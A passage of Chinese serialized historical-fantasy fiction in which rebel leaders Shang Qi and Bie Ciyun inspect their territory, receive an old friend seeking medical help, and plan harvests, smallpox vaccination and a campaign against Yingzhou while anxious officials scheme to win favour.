“那养殖场倒也是能去的,鸡鸭鹅群养最怕得病,每日笼舍都得仔细洒扫,鸡屎鸭屎倒也是肥田的好东西,只是要受些罪,尤其是夏天,那味道实在不是人闻的。” 臭味,村里的娘子郎君都是闻过得,不说别的,就说自家的茅房就不成,往年也就罢了,大家伙都一样,茅房再修也修不出个花样。 她们也没富贵人家金贵,用什么恭桶,还在里面添香料,可自从去县里的公用茅房感受过后,村里不说娘子郎君不得劲,连不少汉子都琢磨要不要把家里的茅房改成县里的样式。 旁的不说,一眼看去整洁的不得了,虽说每日都有专门的人打扫,可家里的茅房修成县里这样,每日花时间扫扫也是合该的。 只是条件不允许,同样钱也花不少,当然有些人家咬咬牙也不是不成,但比起茅房,起一间新房子更重要,所以村里人还是想着官衙门能不能在村里也修公共茅房。 “可不是,不过我听说这上面要来人看看养殖场。” “上面?有多上面?” “嘘,别声张出去,我也是家里有人在县衙门做事,方知道一点内情,说是玄甲军的头儿要到白鹤县来。” “玄甲军的头儿是哪个?玄甲军在咱们白鹤县待了这么久,之前还有军爷在咱们村执勤,倒也没说玄甲军的头儿姓甚名谁。” “这我可不清楚,我家亲戚不过是在县衙门的一个洒扫,听得上面的人囫囵说一嘴罢了,哪能知根知底。” “莫说这些没用的,捡要紧的说。” “要紧的都说了,玄甲军的头儿,咱们该称呼什么?皇帝、王爷,总归是实打实的厉害人物,咱们这一辈子也算是得见天颜了。” “可不是,谁能想有朝一日我也能见见皇帝什么样,咱祖祖辈辈都没这个福分。” 这话不假,不说整个大历,就指长安,能见着皇帝一面的百姓都不多,有幸遇上皇帝出宫大祭,那都是重兵把手朱雀大街,广运帝的龙撵也都是厚纱遮着,轻易见不着人。 对其他地方的百姓来说,皇帝还真就只是一个代号。 所以尚柒和别此云绕到白鹤县查看情况的时候,马车附近可谓是人满为患,当然,为了避免有人行暗杀之事,主公过来的消息一传来,就全城戒严。 城中百姓进出也开始盘查,虽费些功夫,但还真查出一些欲行不轨之徒,可见跑走了的富户豪强正视玄甲军为眼中钉肉中刺,不然一般人也享受不到这待遇。 白鹤县的县令是提拔上来的,礼县人,后头被东家征召去清平县做事,因为表现出色就被派遣过来白鹤县了。 起先白鹤县是由蔺肃和樊泊管理,后大军往盘州散去,白鹤县便由新县令做主。 “不少商户因为见白鹤县日子比从前还要后,都举家搬迁过来,眼下白鹤县的人口要比从前多了不少。”新县令晓得最要紧的肯定是人口,东家和别公子一来,就赶要紧的说。 白鹤县日子好,尤其是分地的事传出去,临近的县城百姓再没有不羡慕的,还得是玄甲军动作快,相继拿下其余几个县城,不然白鹤县的人口得翻几倍去。 “今年秋收情况如何?”虽还不到正经收割的时候,但有些人家早稻的确可以割了,玄甲军收税没那么复杂,主要还是商业发展起来了,商税收的不低,农税便没那么高,目前是十抽二,等整个盘州都种上新稻了,或许明年秋税还会再降。 但两成的税已经比从前要少多了,还没有其他杂七杂八的税,今年百姓必然是能过好日子的。 “白鹤县地肥,咱们分田给到个人头上,每家每户都精心伺候,一亩收成是要比过清平县的,只是粮价不比之前,咱们考虑营收,肯定也不会高价收,但也不会过低。” “粮仓修建的如何?”别此云关心这个,等整个西南收入囊中,大军肯定是要在盘州驻扎的,粮仓修建可以说是给大军提供粮食。 “粮仓修建要复杂些,城里眼下赶着工坊先修,所以粮仓的进度落了些,不过主公放心,明年春耕前应该能落成。” “今年秋收的粮食多了的可以往应州方向送去,忠州情况不好,粮价必然波动,但咱们也有在忠州开粮铺的人手,不能断了供应。”粮食不愁没地儿要,多的是百姓吃不饱饭,粮食再翻个十倍差不多才能叫西南百姓不饿肚子。 “是。” 看过白鹤县的情况,尚柒和别此云总算可以歇口气,盘州治下其他县城,因为才拿下不久,情况也就比刚到清平县好些,要想发展到白鹤县这样,怕还要上几年功夫。 最要紧的肯定还是和中原通商,商品来往才能盘活经济,不然光靠西南这点人养玄甲军,够呛。 “若无意外,后日咱们就可返程,算算时间,谢琅差不多也该到了。” “你这是算好了日子,将人赶到一堆?”别此云可不知道谢琅到了西南见着玄甲军背后是他俩,会是个什么表情。 “能一口气处理完,不要分两次,左右人来了也跑不了。” “到时候谢琅揍你,我可没本事帮你。” “夫夫本是同林鸟,大难临头各自飞,不想你我也逃不过这句老话。”尚柒叹气。 “你精通武艺,我手无缚鸡之力,如何帮你,只怕谢琅到时候揍你,都揍不过。” “这是肯定的,谢琅那花拳绣腿的功夫,都不见的能打的动玄甲军里的老兵。” “那我还帮什么,我这头还有一家子人要应付,该是你帮我才是。” “放心,保管他们翻不起什么浪花。” 第136章 谢琅到盘州城的动静要比别家小的多, 除开尚柒安排接待的人外,基本没人知道谢琅的行踪。 长安此刻处于多事之秋,连带着广运帝都往江南逃, 他们谢家自然不会在中原久留,谢琅回祖地后,本是安排着也要跟家里人一起走, 哪想他夫郞身体突然不好。 谢家的大夫瞧了也治不了根, 便去信问过尚柒, 尚柒说他能治, 只是西南眼下好进不好出, 原大疫来之前朝廷下旨请西南边军平乱, 怕也没用。 不过他还能收到尚柒的书信,也许西南的情况没有想象中严重,于是又去信问过, 有尚柒回信作保, 谢琅方才动了去西南求医的心思。 家里人定然是不同意这个节骨眼让他们夫夫二人往西南去,奈何谢琅铁了心,家里实在拗不过。 如此谢家祖籍的人都纷纷南逃, 谢琅和崔渠带了些近亲的人往西南去,到了盘州后,谢琅一眼就看出尚柒没骗他。 先前的军报有言, 乱军是先占据的白鹤县,盘州眼下多半在乱军手里, 但打入盘州城后一切井然有序,百姓安贫乐道,半点看不出有乱象。 可见乱军在西南得人心,要说朝廷最怕的就是这样的造反势力, 真要是烧杀抢掠反倒是不怕,这样的势力必然是不长久的,哪怕是朝廷不出力,迟早也会把自己玩死。 “先前说要到西南来,我还怕西南处处狼烟流民,不想眼下倒是比长安还太平。”崔渠知道此行最主要是给他治病,不然谢琅也不必冒风险到乱军的地盘来,虽此地有朋友接应,但有个万一谁也说不准。 “尚柒也在信里提过此时西南的情况,只是我你未曾眼见为实,到底有几分忐忑。”谢琅也放下心,说到底谢家这样的世家,最怕的不是乱军,而是没有秩序。 天下秩序几乎由世家撰写,只要世道不乱世家就是屹立的庞然大物,无惧任何风险,而世道一旦乱起来,礼乐崩坏,谁还管世家的规矩,自古乱世折了多少世家在里面,数都数不过来。 “你这位姓尚的朋友原该是在应州为官,这会却能隔着州安排我等落脚。” 谢琅听得夫郞的话,沉默了片刻,他自然也发现了其中怪异,不说别的,明明水路可以畅通无阻的往应州清平县去,为何要他们在盘州城下船。 便是别家在盘州也为此云置办了产业,也不该在处处是乱军的地方招待他们。 除非,尚柒投靠了乱军,这一点倒没什么,良禽折木而栖,有眼睛的都能看出天子南逃是乱世开始的迹象,玄甲军在西南起兵,自当也是要争天下的。 怕就怕,不是尚柒投靠乱军,而是这支乱军背后之人就是尚柒和别此云。 “事已至此,只管一心求医便是。” “原是我拖累了你,哪有我嫌弃的道理,不管眼前是龙潭还是虎穴,总归我们夫夫二人在一起,想来就是埋骨他乡,也有个伴不是。” 谢琅闻言哭笑不得,他只是想尚柒的信请他过来,究竟是为他夫郞治病多一些,还是诓骗他过来帮忙多一些,不至于说要他们的性命。 “却也不必如此想,尚柒有钱二人都是我在长安的故交,大费周章请我们来西南,有所求的概率肯定比要我们客死他乡的概率要大。” 无冤无仇,就是他不想帮忙,尚柒和此云难道还要恼羞成怒,放火烧死他不成。 “不过是做好最坏的打算。”崔渠虽信谢琅,但知人知面不知心,他是吃过亲人朋友的亏,方养成了这样万事多疑的性子。 就是谢琅,他们成亲后一开始相处也非是一帆风顺。 谢琅闻言不在多说,总归等阿渠见到尚柒此云,一定会改心意的。 …… 赶在秋收的档口,下了一阵小雨。 尚柒和别此云回程的路上也免不得受了些雨水,好在雨下的不大,不必担心风寒。 二人晾了别家多日,倒也不差这会功夫,便先回府收拾了一番方才去别家暂住的府邸。 要说别此云心里肯定还是紧张,他虽常年不在别家,与家里大部分人关系淡薄,但别家对他倒也没话说。 爹娘兄长历来都是事事顺他心意,他也不至于说因为有上辈子的记忆,就狼心狗肺视若无睹。 所以等站在府邸门口,他微不可闻的停顿了片刻,若非是一旁的尚柒紧握他的手牵他进府,说不得还要在门口做一些心里准备。 而别家的人也收到尚柒和别此云返程的消息,别泓作为此刻别家做主的人,拿出见广运帝的态度,收拾好带着家里老老小小在正厅等着。 “公爹是此云的祖父,按说该此云带着夫婿去拜见才是,竟也要公爹在正厅候着,好没道理。”老四别洵桐的夫人钟蕴雅小声嘀咕,引得丈夫回头瞪了她一眼。 “什么时候君臣关系大过父子关系了?”别泓不轻不重的回了一句。 要说回嘴肯定是有回嘴的话,毕竟别此云和尚柒不过占据一州,连西南的土皇帝都称不上,如何敢说是君。 但说话的是别泓,莫说是钟蕴雅,就是别洵桐都只有乖乖听话的份,要不就等着在全家面前挨训。 有别泓镇压,不说主家就是旁支的牛鬼蛇神都是不敢冒头的,如此尚柒和别此云过来的时候,正厅安静的掉根针都能听见。 “祖父。”尚柒和别此云倒也不是傲慢人,见着别泓肯定还是问礼的,之后是别洵松和苏怡然,二房和四房也得了句话,其他的倒是不曾过问,不然单单是认亲戚就能耗去一下午的时间。 见过人,别泓散去了大部分族人,只余下主家几位,原这样的正事,不该有娘子郎君在场,但无论是别泓还是别洵松,都没叫人走。 不说别的,单是这几日在盘州打听的消息来看,尚柒和此云有意任用姑娘哥儿,若是还按大历那套老规矩,总归是得罪人。 依别泓想,多半还是此云分走一半大权,为了不叫下面的人日后借此攻奸二人关系,方才叫天下姑娘哥儿都如儿郎一样做事。 甚至官场也会有姑娘哥儿任职,这事按说是有些挑拨老学究的神经,奈何他不同意,就是不同意此云掌权,比起尚柒别泓肯定更青睐此云。 别家先天就该站在此云一方比站在尚柒一方多,若是此云没本事只依附尚柒造反,他们自然没话说,可玄甲军明摆着有两个主公,没道理将到手的权力交出去。 最重要的,别泓肯定还是想问问尚柒和此云究竟打算如何安排别家,玄甲军此时只有一州,别家若是全都在高层做事,难保不会引起尚柒的忌惮。 尤其是年长一辈,他瞧着他的三个儿子多半是没什么着落,唯有孙辈会被重用。 景季景和都是有才能的年轻人,尚柒和此云既然敢将他们阖家骗到西南,肯定也不避讳任人唯亲。 “眼下军中只有樊将军做主,蔺管事虽从旁协助,但也多是做内务,此时只有一州,单是樊将军在军中镇守看似够用,但日后战线想来会几面开花,还需更多有领军之才的人在军中做事,我听此云说,二堂兄常年在军中,先前也在禁军做将军,不知二堂兄可有意去军中做事。” 尚柒一番赤城邀请,倒是让二房夫夫二人好看不少,原先孟长舒心有郁气,也不过是因为此云一番动作,毁了别景和的大好前程,也怕尚柒别此云忌惮不肯叫景和到军中做事,这会一席话免了夫夫二人的担忧,自然都是好脸色。 “你信我在军中做事?”别景和说话一向直,这些日子他也听闻樊泊的名声,知道此人不是泛泛之辈,他还当有了樊泊这样的良将,不该再让他接手军营。 “如何不信?”玄甲军能够势不可挡,除开有樊泊这样的领军人才外,最重要的还是他和此云源源不断的给军中供应粮草银钱。 他敢说天下没有谁能这样养军队,所以即便真有上层想反他,也要看下面的士兵答不答应。 “有你这句话,我明日就去军中。”别景和也是眼馋玄甲军许久,他虽不曾见识玄甲军在战场上的英姿,但盘州城见过的玄甲军无意不是将军最喜欢的模样,一个个膀大腰圆,又个个都是练家子,上了战场,不说以一敌百,以一敌十还是能做到的。 “玄甲军不怕空降将军,但二堂兄得要全军心服口服方才能谋得一席之地,此事我可插不了手。” “这是自然,我也想和樊将军较量一番。”别景和的身手可跟长安的纨绔子弟不一样。 “樊将军原也出身禁军,与二堂兄也算同袍。”别此云道了一句。 “这倒是巧,我还以为离开禁军,再见不到同袍。”别景和想,难怪不曾听闻樊泊的出处,还当是草莽英雄被尚柒和此云捡到手,结果竟是禁军出身。 他入禁军后,是知道禁军中的弯弯绕绕,不少人才都被埋没在底层没有出头的机会,这樊泊想来就是其中之一。 这么说,当初此云和尚柒离开长安,带走了不少好东西,这样说明两人去西南,就是奔着造反来的—— 作者有话说:久等了,宝子们,这几天腱鞘炎有点恼火。耽误更新了,之后应该能稳定更[狗头叼玫瑰] 第137章 别家从主脉到旁支, 都是实打实的正经文人,娶的娘子郎君也都是识文断字之辈,甚至各家贴身伺候的侍人小厮也都是认字的。 这些人真要是愿意替尚柒办事为自己谋前程, 未来定比现在伺候人强,只是废除奴籍一事还没那么快,玄甲军治理西南自然要行自己的律法, 编撰律法不是简单的事, 哪怕是从大历律修改, 也不是小工程。 大抵等正经进驻应州之际, 第一版玄甲军律令就能修成, 到时候两州一起, 拔出一些毒瘤也省事。 这会尚柒和别此云看似不管,实则还在摸排,等着律令一下, 直接让玄甲军到点去就成了, 半点不耽误不功夫。 “今日见不见谢琅?”别此云端起茶杯,轻饮了一口,他们和别家说事说了不少时候, 外面天色已经渐暗。 按照长安的作息,非是寻欢作乐之事,这会儿都该回家休息, 但在西南,尚柒和别此云通宵达旦做事是常有的, 只怕谢琅和他夫郞不习惯。 “就在隔壁,不过几步的功夫,想来谢琅也收到咱们就在别家的消息,不过去难保人不多想。” 谢琅虽不完全是尚柒骗过来的, 但眼瞧着盘州城的情况,谢琅只怕再没有不明白的时候。 “我瞧你只是想叫人尽快帮你做事。”按照他们的打算,秋收后就准备大军进应州,年前吃下应州,明年前半年都要休养生息,下半年再说打忠州的事。 “一石二鸟,又不耽误。” 如此,二人趁着天色未黑,快步去了隔壁。 “尚柒,有钱,你们倒是骗我骗的好苦。”谢琅笑着打趣,要他说,在长安的时候,虽知道二人不是什么老实巴交之辈,但也没想过人到了西南竟然干起了造反的勾当。 “谢十三,我可没骗你。”尚柒摊手,不背这黑锅。 “是啊,你只是说一半藏一半。”不过说来尚柒真要是在信里全抖落出来,他还真不见的会来。 “他也非只瞒了你一人,你们的船都要入西南我才知道你原也来了西南。”别此云说着看了一眼尚柒,又回头看向谢琅:“他究竟是使了什么本事,叫你甘愿冒风险到乱军之地走一趟。” “尚柒,这就是你的不是,竟还瞒着有钱。” “我说请你来西南叙旧,他不信罢了。” 谢琅冷哼了一声:“什么叙旧,我是来看病的,真要是叙旧,我可不敢冒这样的风险到西南乱地走动。” “如此看,原来谢十三也是重色轻友之辈。”尚柒毫不客气的回击,叫原本摆冷脸的谢琅破了功。 “我是重色轻友,难道尚柒你就不是,你我立场互换,想来也是只有替有钱治病,才肯来西南。”谢琅不甘示弱,真要说重色轻友,尚柒必然是排在他前面的。 “好说好说。” “……你这面皮比离开长安的时候厚了不少。” 别此云倒是乐的在一旁见二人乐此不疲的斗嘴,直到两人都说的口干舌燥,方才休战喝茶。 “你夫郞得了什么病?” “就是不知道,方才千里迢迢来西南求尚神医治病。” 尚柒一出手,连求子无门的安和公主都有了身孕,可见医术是不比皇城的太医差。 “当不得神医的名头,至于能不能治好也要我看过病人再说。”没把过脉之前,尚柒是不敢说百分之百将人治好,这个时代不好病症到了他的时代的确好治,但他现在苦于没有药,许多能治好的病也只能干看着。 “今日天色已晚,看病放到明日如何?”别此云提议,谢琅自然没有不同意的,左右已经等了不少时候,也不差这一晚。 再一个天色的确晚了,听闻尚柒和此云今日方才赶路回了盘州城,都没休息就先去了别家,想必也是累了,早些放人回去要紧。 …… 夜半,舟车劳顿的夫夫二人躺在床上,却没有睡觉。 “盘州的情况基本稳定下来,只是今年棉花数量不多,我想着先供军中使用,有多余的再低价补贴卖给百姓。”玄甲军训练历来辛苦,好在西南冬日再冷不及北面,今年又不缺煤,军营该是不冷的。 “军营的将士因为一日三餐营养都上去了,身体素质比的百姓要强,第一批棉布还是投放给百姓,西南冬日不及北面,有的地方甚至都不下雪,但每年冬日熬不过去的百姓也比比皆是。”尤其是老人孩童,一到冬天死亡率就上去了。 “棉花数量有限,投放给百姓必做不到人人皆有,若是买卖只怕也到不了真正需要的人手里。”虽说玄甲军治下好手好脚的日子再差也饿不死,但缺少劳动力的人家也不是没有。 这样的人家就是按人头分田,又有官府帮助,也只能说饿不死罢了,往年冬日冻死的就是这样的人家。 “这事我会同月隐说,看看她有什么解决办法没有。”棉花因为数量稀少,真要卖肯定是比煤还贵,但煤每日都要烧,一整个冬算下来,花的钱已经够买不少棉花的,所以家里真缺钱的,肯定还是置办棉花更便宜。 “倒也可以试试让各村各街道办事的人统计实在穷苦人家的数量,有个底数才好分配手里的棉花。”别此云想盘州的情况肯定比应州要强一些,若是赶在过冬前拿下应州,应州的百姓自然也是要考虑到的。 好在清平黄谷也有种棉,虽比起需求是杯水车薪,但多一些棉花就能多让一家人活下去,也是好事。 “这事不难。”之前各村都是派了兵丁驻扎的,情况基本都摸排的很清楚,也不怕村里街道谎报情况,只是怕人数过多,到时候棉花不够分。 煤开采最大的消耗,不过是给开采的工人供饭,像矿工一样,大部分工人也都是犯了事的,不必给人开工钱,成本节约了不少。 大批量挖出的煤,再制成蜂窝煤,价格还能再压一压,这一项尚柒是没打算赚什么钱,当然了也就是平民百姓需求煤数量少,真换到大户人家,一日消耗只怕是一个村都赶不上,尚柒要赚也都是赚这些人的钱。 “等应州拿下,明年咱们就可以开应州到西北的商路,西北养羊比咱们多得多,羊毛制衣的生意可以继续做。” “一场天花,想必草原情况也不好,过些时候等天花彻底平息下去,羊毛也可以从草原收购。” “茶叶、红糖,甚至铁锅在草原都有销路,现在草原基本还是以小部落群聚为主,若是能够做成长久生意,牛和马咱们也就不缺了。” 没有热武器之前,骑兵就是战场上的利器,当然在西南因为地形的缘故骑兵被限制了,但到了中原,一马平川的平原正是骑兵的战场。 要不说,不能叫外族入关,就是因为关内的地形对骑兵来说是优势,草原骑兵入关若没猛将阻拦,一路拦下基本没什么阻碍。 关内人虽不比草原儿女自幼马背上生长,但有心练一支好骑兵也不是不可能,就是费钱罢了。 “西南山上还有许多地方都能开垦田地,但百姓数量还是太少了。” 说来说去还是人手不够,西南人口真要算,肯定还是不少,奈何西南地大,又多山,实在比不上中原好发展。 盘州富庶也是因为盘州有一块平原地带,不然光靠西南的山地,怕是养活不了多少人。 “天花在中原肆虐,想必过不了多久近西南的百姓会入西南,只要确保他们没有染上天花,人手就来了。” 别说西南有乱军,在天花跟前,乱军也要低头,为求活命,想来不少百姓会到西南,对他们来说治下人口多起来是好事。 古代君王将治下人口数量当做丰功伟绩,但说实在的,没几个君王真能看透人口带来的红利。 “等西南这边都接种了牛痘,也可以派遣人在西南附近给百姓接种,早晚咱们要出西南,提前在外收买一部分民心,日后出西南会容易一些。” 因为天花的缘故,原本西南是许进不许出,现在进出都被限制,但等大面积百姓往西南逃,光靠人力是堵不住的,不如叫外来的百姓都在一处先种牛痘,过观察期,将损失控制在最低。 “的确,西南和中原早晚要恢复联系,玄甲军也该有些好名声传出去。” “等明年,打忠州多半会是场硬仗,而黄州又有西南边军,咱们的好日子也算是到头了。” “错了,该是樊泊和我二堂兄没有好日子过,不过对于武将来说,想来平安日子不如在战场驰骋。” 别此云是不喜欢打仗的,甚至可以说厌恶,打仗总是要死人的,死在战场的便罢了,寻常百姓也不见得有活路。 “想要忠州不战而降,最好的办法还是在忠州散布舆论,只要民心所向,拿下忠州就不必经历苦战。”而他们还有一年时间散布舆论。 “天花是一个很好的突破点,只要忠州知道中原起疫的消息,又得知玄甲军有防止天花的药,咱们就能占据优势。” “果然,知我者,此云也。”尚柒闷笑,这就是夫夫的默契吗? “别贫,又不是什么难猜的事。”别此云的头靠在尚柒肩上,“外面已经月上中天,你我无心睡眠不是为寻欢作乐,竟说了半宿正事。” 尚柒原是半躺着,闻言将人抱在身上坐着:“是我不好,正事说完也不妨办私事,只是明日该要谢十三再多等些时候了。” 别此云低头亲了一下尚柒,笑道:“最好不叫谢琅发现,不然我可不好意思见他。” “只要你别咬我脖颈,我想谢十三也见不着我衣裳下是什么模样。”尚柒说着手已经探入温热的肌肤上,今夜大抵是不能睡了,不过人年轻,能熬。 第138章 应州。 别此云和尚柒一去盘州久久不归, 然后盘州又传来玄甲军主公露面的消息,实在叫应州的官员人心惶惶。 这时候要说走,也只能往黄州去, 好歹黄州还有朝廷的边军驻守,至于边军的将军得了盘州的消息会不会突然自立,那就不得而知了。 可要说留, 一个个也觉得不成, 不说别的, 就单玄甲军一来就要清算各家是否背了人命官司一事, 就够在座的喝上一壶。 倒也不是说在座的诸位一个个都满手鲜血, 但谁敢说自己家里就一定干净, 子孙后代不成器的比比皆是,惹了祸患也都靠家里摆平,小打小闹的被查出来也就罢了, 真要是拔萝卜带泥牵扯出大案, 那一家都得去矿山做事。 难怪别大人到了应州城后,对朝廷管的矿脉如此上心,原来在这儿等着他们呢。 “诸位, 是走是留给个消息,大家如今也是一条绳上的蚂蚱,别大人一走没叫人看住咱们, 看样子也是给咱们选择的机会,这时候再不商量个章程来, 等大人回来,咱们可就只有被清算的份。” “话是这么说,但咱们当初请别大人过来,为的就是保住官职, 谁料引狼入室。” 他们能做到州府衙门,年纪算不得小了,但在官位上再磨蹭十几二十年还是能行的,当官自然是有当官的好处在,不说别的,单单是每年应州富户送来的银两都叫人舍不得。 偏玄甲军行事与大历官场背道而驰,倒是合了对外宣称道貌岸然的话。 “玄甲军治下严苛,连富户的根都给人拔了,想必是不肯再做行贿之事,没钱这官当不当也不打紧,真该担心的还是各家是否有做过什么叫玄甲军惦记的事。” 玄甲军主公是谁传入应州已经有不少时间了,各家聪明的肯定已经悄悄过问了,说不得家里的娘子郎君已经去寻苦主,要人做哑巴。 给钱叫人闭嘴算是聪明的做法,但也怕人反水,可要说将苦主一家灭门,那是万万不成的,谁知道应州这会子已经被别大人和他夫君埋了多少钉子,没闹出更多人命,说不定还有活路,真要是闹出灭门惨案,阖家都要上断头台,当做新军立威。 “咱们请别大人过来,也算是助别大人取应州,好歹有一点情分,说不得能叫别大人网开一面?”官场也是个人情社会,情分一贯是官员来往的利器。 “别大人在衙门做事时间也不短,大家伙又不是没见过别大人是什么性子,等别大人回来,你且凑上去问问别大人给不给你这个情面。” 那可肯定是不给的,别此云到衙门做事,那真是眼里容不得沙子,就说州府衙门,到了他们这一级,别大人轻易没动,但除开他们,从上到下,里里外外的人都是给换了一波的。 什么裙带关系都不管用,等别大人从盘州回来,那就是实打实的一方霸主,州府衙门哪个还能叫人忌惮不能换? “那就先一步请辞,再把家里犯事的孽畜给赶出来,总归是有法子保全一家人的。”这会明说不该担心官位,而是该担心阖家性命。 “不错,这法子最好,应州的富户一个个骨头都硬,到时候玄甲军一来要夺他们田地,别的不提,肯定会撺掇佃户闹事。” 玄甲军说是消息传回应州,但知道的还是仅限于上层人,底层百姓估摸着没几个晓得玄甲军究竟是什么。 这时候地方豪强只要利用信息差,叫佃户们以为玄甲军是来夺他们田地的,必会拼死护住豪强的地,别看玄甲军占据一州,但真要是和应州大部分佃户对上,保管吃不了好。 “怎么?你想和那些豪强合作,对付玄甲军?” “他们不懂事,我们还不懂事吗?盘州城的刺史王襄本事如何我等都清楚,那时候盘州还全全在王襄手里,都被打的毫无还手之力,眼下应州估摸着大半都被别大人和他夫君私下操持,能打的过才怪。” 这点自知之明他们还是有的,隔壁忠州一个小势力动乱他们都担惊受怕,就是知道应州真要是遇上乱军,完全不是对手。 “说来说去,都是死局,要我看,诸位想在别大人跟前露脸卖好,也不是没有办法。” “今兄这话怎么说?” “诸位同僚担心的不过是因为家中有错处,害怕别大人回来重罚咱们,但自古就有功过相抵,过已经犯了,不如想想如何立功。” 是了,这话一出,在场的官员无一不是恍然大悟,过已经犯了,就是说破天也变不了,但他们不还有机会立功吗? 不说别的,只要能赶在玄甲军过来之前,先玄甲军一步将应州照玄甲军的规矩做事,等玄甲军过来直接就能接手,岂不是省了玄甲军出兵的功夫。 再一个地方豪强,在场的诸位都是跟人打了几十年的教导,再差都知道和地方豪强怎么交手。 若是能将地方豪强的田地都拿到手,直接献给玄甲军,他们的功劳说不得不光能将功抵过,还能得一番奖赏。 “这事虽难办了些,但真要说同心协力,也没有办不成的,只是咱们不能悄摸办,得叫别大人晓得咱们的功劳。” “不难,不说多的,尚柒、尚大人的妹妹不就在应州,咱们只要能够联系上她,表明咱们想要对付地方豪强时出一份力,她难道还能将咱们往外推?” “有理有理,那咱们须得动作快些,我瞧着玄甲军拿下盘州之后迟迟不往应州来,多半是赶在秋收的档口,怕耽误百姓秋收,秋收后说不得玄甲军就要出兵应州,赶在年关的档口吞下应州,明年好为拿忠州做准备。” 这么一说,大家伙才发现时间紧迫,都怪之前瞻前顾后,没能想出这样的好主意,只盼玄甲军步子慢些,给他们一些时间操作。 …… 尚南枝反复看州府衙门送来的消息,以为自己这段时日没休息好出现幻觉了。 “他们什么时候有这个觉悟了,莫不是和地方豪强联手给我布置的陷阱。” “应当不是,二小姐,咱们的人一直监视地方豪强动向,不曾发现他们和官衙的人勾结,只怕是这些官员想要求活路。” “也有道理,当初他们能够请别哥哥来做刺史,眼下自然也能选择和我合作,对付地方豪强。”尚南枝认同关二娘的话,不说别的,应州衙门这群当官的很会灵活变通是真的。 “咱们的人之前也摸排过这些官员的底子,算不上清白,但也只牵连个别人,家里没有背什么大案。” 真要是穷凶极恶之辈,就是他们献一座城,玄甲军也不会姑息,那样的人尚南枝断断是不会合作的,既然摸排过底子,没查出什么大事,倒也不是不能给他们一个机会。 “下几封帖子,明儿请人到府上一叙,阿兄和别哥哥秋收后动身,算时间可不多了。”尚南枝原本只是监视这些地方豪强,等着玄甲军过来,这会有人给她的瞌睡送了枕头,不利用一番为阿兄分忧,岂不是无用。 再一个,别哥哥的家里人过来西南,少不得会安排做事,阿兄这边能用的管事不少,但正如蔺哥哥和宋姐姐这样的大才却少,乌桕又只醉心医术,她若不能出头,阿兄难免受限。 总不好叫别家人将阿兄看轻了去。 若是尚南枝心里所想叫别家人晓得,只怕是先一步要喊冤枉,尚柒哪里会叫人看轻了去,应该叫他们另眼相待才是。 竟把谢家人都挖来了。 谢琅知道别家在盘州,别家却是不晓得谢琅在盘州,还是后来尚柒去给谢琅夫郞看病,别此云便去隔壁看他娘,方才揭开谢琅的事。 谢家门第再怎么说都比别家要高,谢琅虽没有官身,但谢家嫡系出身,就够别家青眼相待。 “此云,你且和为父透个底,尚柒去长安这一趟,到底联络了多少人脉。”别洵松捋着胡须,要他说,尚柒前十几年都在西南经营,到长安才多久,就叫长安这么多才俊往他这儿来,这要是打小在长安长大,只怕半数世家都要入他囊中。 “相交好友只谢琅一人。”这人还是事出有因才来西南的,不然仅凭朋友关系就叫谢琅跟着造反,也未免太把世家子弟看的纯良了些。 “谢琅这一人,就抵过无数人,只是不知道谢家什么态度。” “大势既成,谢家自然会顺杆爬,大势不成,谢家也不会因为一个嫡出子弟,就将身家压在咱们身上。” 名门世家压宝,都是多方投资,哪家成了,就去哪家,名下子弟也不过是投石问路的炼金石,真要舍也是能舍的。 “几大世家在中原影响力堪比皇帝,等去了中原,总归是要和他们打交道的,真要是对上,哪怕咱们精兵强将也免不得一场苦战,能先交好总比交恶强。” 别此云点头,四面楚歌的典故他也知道,只是玄甲军一断世家的田地根基,二断世家的文字根基,想要他们投靠玄甲军,可没那么容易。 第139章 话说长安起了大疫后, 人口大不如前,眼下家家户户门口都挂着素缟,每日送去城门外的尸体烧都烧不过来。 权贵们跑的倒是快, 只留下一间大宅子,原伺候宅子的奴婢有门路的寻了门路,没门路的也跟着流民一块南逃了去。 “金玉满堂也不见客人了, 亏得东家不指望长安这边的钱财, 不然少了一门日入斗金的生意, 该要心痛了。”冯风信东家的牛痘, 这不只要种过牛痘的, 再没说有染上天花的, 旁人都说是命好,毕竟得了天花活下来的也是一脸麻子,再俊的哥儿小姐, 也跟毁容没区别。 “这话怎么说, 明明金玉满堂是谢少爷的产业,姑爷可没沾手。” “谢少爷人都在西南了,产业算作东家的, 也不打紧。” “眼下长安衰落,生意是做不成了,姑爷那边可安排你回西南去?” “回去自然是想回去的, 眼下西南正是建功立业的机会,但凡认字能做事的, 只有前途似锦形容,偏我走不开。” “如何就走不开了,眼下长安没有你盯梢的。” “长安没有,不代表南边没有, 过些日子我便要上路往江南去。”一场天花竟将朝廷吓去了江南,真往史书上记载,不知要招惹多少笑柄。 梅娘子一顿:“你在晋王那儿露过脸,当初在长安都避的远远的,现在如何能够去江南。” “江南地界也大,晋王的封地又不在江南,我过去只避着他就是,再一个东家和公子已经在西南露了名头,便是晋王见了我也没什么打紧,只要不叫他抓了我就是。”冯风去江南自然是有他的用意。 朝廷早晚是要回长安的,但暂居江南这段时间肯定也太平不了,东家在西南不能及时收到江南的消息,他本就是在长安当眼线的,再去江南也是应该。 “好吧,想是你已秉过姑爷,如此只能祝君此举鹏程万里。” “多谢梅娘子的赠言,要我说长安的确不是久留子弟,梅娘子留在长安不若去西南,还能帮得上公子。” “这得看公子的安排。”左右天花奈何不得她,留在长安还是去西南,都是立马的事。 “也是,就是不知江南现在什么光景。” …… 广运帝到江南不过几个月,赶上秋收,今年江南收上来的税银和粮食都不必怎么计算损耗,直接送到州府衙门,就收归国库了。 但凡有时间跑路的,别的不说,家底肯定是全全带走了,广运帝这里不说自己的私库有多少好东西,国库的钱也都是拿走了的,半点没给太子留。 不怪光杆司令的太子违抗圣旨也要跟来,好在江南的朝廷班子并不难组,大部分朝臣也都逃难来了江南,就是小门小户一开始没往江南来,听到风声也都该陆陆续续过来。 行宫是没时间修的,但江南富庶,人口也多,短时间内修建一处别宫给广运帝不过耗费些时间罢了。 地方官员也有意讨好,毕竟皇帝亲临,若是得了天颜,转头被调去长安做事,也算一步登天了。 但临时朝廷也没那么好,至少广运帝不再跟宫里似的,说什么是什么,哪怕手握禁军大权,也多是虎豹豺狼觊觎。 不说远的,就是齐王,就打着在自己封地继位,日后好名正言顺回长安的主意,若非太子和晋王从中作梗,说不得广运帝真被齐王弄死了,满朝文武也不见得会给广运帝哭丧。 尤其西南乱军的消息断断续续传来,原在长安就下旨处理的事,这都几个月过去了,不光乱军没处理,反倒是势力越发展越大。 